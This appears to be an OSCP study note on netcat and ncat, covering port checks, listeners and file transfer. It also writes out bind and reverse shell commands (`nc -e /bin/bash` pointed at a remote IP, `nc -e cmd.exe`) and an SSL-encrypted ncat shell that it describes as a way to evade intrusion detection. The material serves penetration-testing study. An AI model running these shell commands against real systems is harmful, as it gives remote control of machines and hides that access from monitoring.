OSCP Note - Common use of Netcat(nc) and Ncat

Jun 19, 2019

0x00 TL;DR

The article records some ways to use nc.

- Determine if the target port is open
- Connecting to a TCP/UDP Port
- Listening on a TCP/UDP Port
- Transferring Files with Netcat
- Remote Administration with Netcat
- Ncat:more security's nc

0x01 Determine if the target port is open

- Port open

```
[ec2-user@ip-10-0-0-64 ~]$ nc -vz 10.0.0.64 22
Ncat: Version 7.50 ( https://nmap.org/ncat )
```

```
Ncat: Connected to 10.0.0.64:22.
Ncat: 0 bytes sent, 0 bytes received in 0.53 seconds.
```

- Port close

```
[ec2-user@ip-10-0-0-64 ~]$ nc -vz 10.0.0.64 23
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connection refused.
[ec2-user@ip-10-0-0-64 ~]$
```

0x02 Connecting to a TCP/UDP Port

Useful:

- check port is open or closed
- read a banner
- To connect to a network service manually

  example:

```
[ec2-user@ip-10-0-0-64 ~]$ nc -nv 10.0.0.64 22
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 10.0.0.64:22.
SSH-2.0-OpenSSH_7.4

Protocol mismatch.


Ncat: Broken pipe.
[ec2-user@ip-10-0-0-64 ~]$
```

0x03 Listening on a TCP/UDP Port

Useful:

- network debugging client applications
- otherwise receiving a TCP/UDP network connection
  Server side listen TCP port 4444:

```
[ec2-user@ip-10-0-0-64 ~]$ nc -nvlp 4444
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
```

Use netstat can see TCP port 4444 is open.

```
[ec2-user@ip-10-0-0-64 ~]$ sudo netstat -nltp | grep 4444
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      7427/nc
tcp6       0      0 :::4444                 :::*                    LISTEN      7427/nc
[ec2-user@ip-10-0-0-64 ~]$
```

Clienr side can connect this TCP port and chat with server side.

```
[ec2-user@ip-10-0-0-64 ~]$ nc -nv 10.0.0.64 4444
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 10.0.0.64:4444.
aaaa
aaaaaaaaaaaaaaaa
```

0x04 Transferring Files with Netcat

Note the Windows Firewall configuration.
Text and binary file all support.

Server side(Target machine):

```
D:\netcat-win32-1.12>nc64.exe -nlvp 4444 > wget.exe
listening on [any] 4444 ...
connect to [10.0.0.39] from (UNKNOWN) [52.80.67.xxx] 59980
```

Client side:

```
[ec2-user@ip-10-0-0-64 temp]$ nc -nv 54.222.196.xxx 4444 < wget.exe
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 54.222.196.xxx:4444.
Ncat: 308736 bytes sent, 0 bytes received in 0.62 seconds.
```

0x05 Remote Administration with Netcat

Netcat can take an executable file and redirect the input(stdin), output(stdout), and error messages(stderr) to a TCP/UDP port rather than the default console.

nc Bind Shell

Service side(Windows):

```
D:\netcat-win32-1.12>nc -nlvp 4444 -e cmd.exe
listening on [any] 4444 ...
connect to [10.0.0.39] from (UNKNOWN) [52.80.67.111] 60420
```

Linux can use this command bind shell:

```
nc -nlvp 4444 -e /bin/bash
```

client side:

```
[ec2-user@ip-10-0-0-64 temp]$ nc -nv 54.222.196.xxx 4444
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 54.222.196.xxx:4444.
Microsoft Windows [▒汾 10.0.14393]
(c) 2016 Microsoft Corporation▒▒▒▒▒▒▒▒▒▒Ę▒

D:\netcat-win32-1.12>whoami
whoami
ec2amaz-okar8bt\administrator

D:\netcat-win32-1.12>
```

nc Reverse Shell

Service side:

```
D:\netcat-win32-1.12>nc -nlvp 4444
listening on [any] 4444 ...
```

Client side:

```
[ec2-user@ip-10-0-0-64 temp]$ nc -nv 54.222.196.xxx 4444 -e /bin/bash
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 54.222.196.xxx:4444.
```

Then you can execute command in this reverse shell, like this:

```
D:\netcat-win32-1.12>nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.0.0.39] from (UNKNOWN) [52.80.67.111] 40908
id
uid=1000(ec2-user) gid=1000(ec2-user) groups=1000(ec2-user),4(adm),10(wheel),190(systemd-jou
```

0x06 Ncat:more security's nc

- Encryption of the bind or reverse shell will aid the penetration tester in avoiding intrusion detection systems
- Not expose the penetrated machines to unwanted IP addresses.

Server side:

```
[ec2-user@ip-10-0-0-64 temp]$ ncat --exec /bin/bash --allow 54.222.196.xxx -vnl 4444 --ssl
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permane
Ncat: SHA-1 fingerprint: C900 5192 97CA 45E9 0B30 DB8E D76A D8D3 2673 3BF3
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 54.222.196.xxx.
Ncat: Connection from 54.222.196.xxx:63540.
```

Client side:

```
D:\NcatPortable-master\NcatPortable-master>ncat -v 52.80.67.xxx 4444 --ssl
```

```
Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
Ncat: SSL connection to 52.80.67.xxx:4444.
Ncat: SHA-1 fingerprint: C900 5192 97CA 45E9 0B30 DB8E D76A D8D3 2673 3BF3
id
uid=1000(ec2-user) gid=1000(ec2-user) groups=1000(ec2-user),4(adm),10(wheel),190(systemd-jou
```

Then you can execute command in this bind shell.

0x07 Command summary

```
nc -vz 10.0.0.64 22
nc -nv 10.0.0.64 22
nc -nvlp 4444
nc64.exe -nlvp 4444 > wget.exe
nc -nv 54.222.196.xxx 4444 < wget.exe
nc -nlvp 4444 -e cmd.exe
nc -nlvp 4444 -e /bin/bash
nc -nv 54.222.196.xxx 4444 -e /bin/bash
ncat --exec /bin/bash --allow 54.222.196.xxx -vnl 4444 --ssl
ncat -v 52.80.67.xxx 4444 --ssl
```

0x08 Reference

- netcat
- The GNU Netcat project
- Ncat

NEXT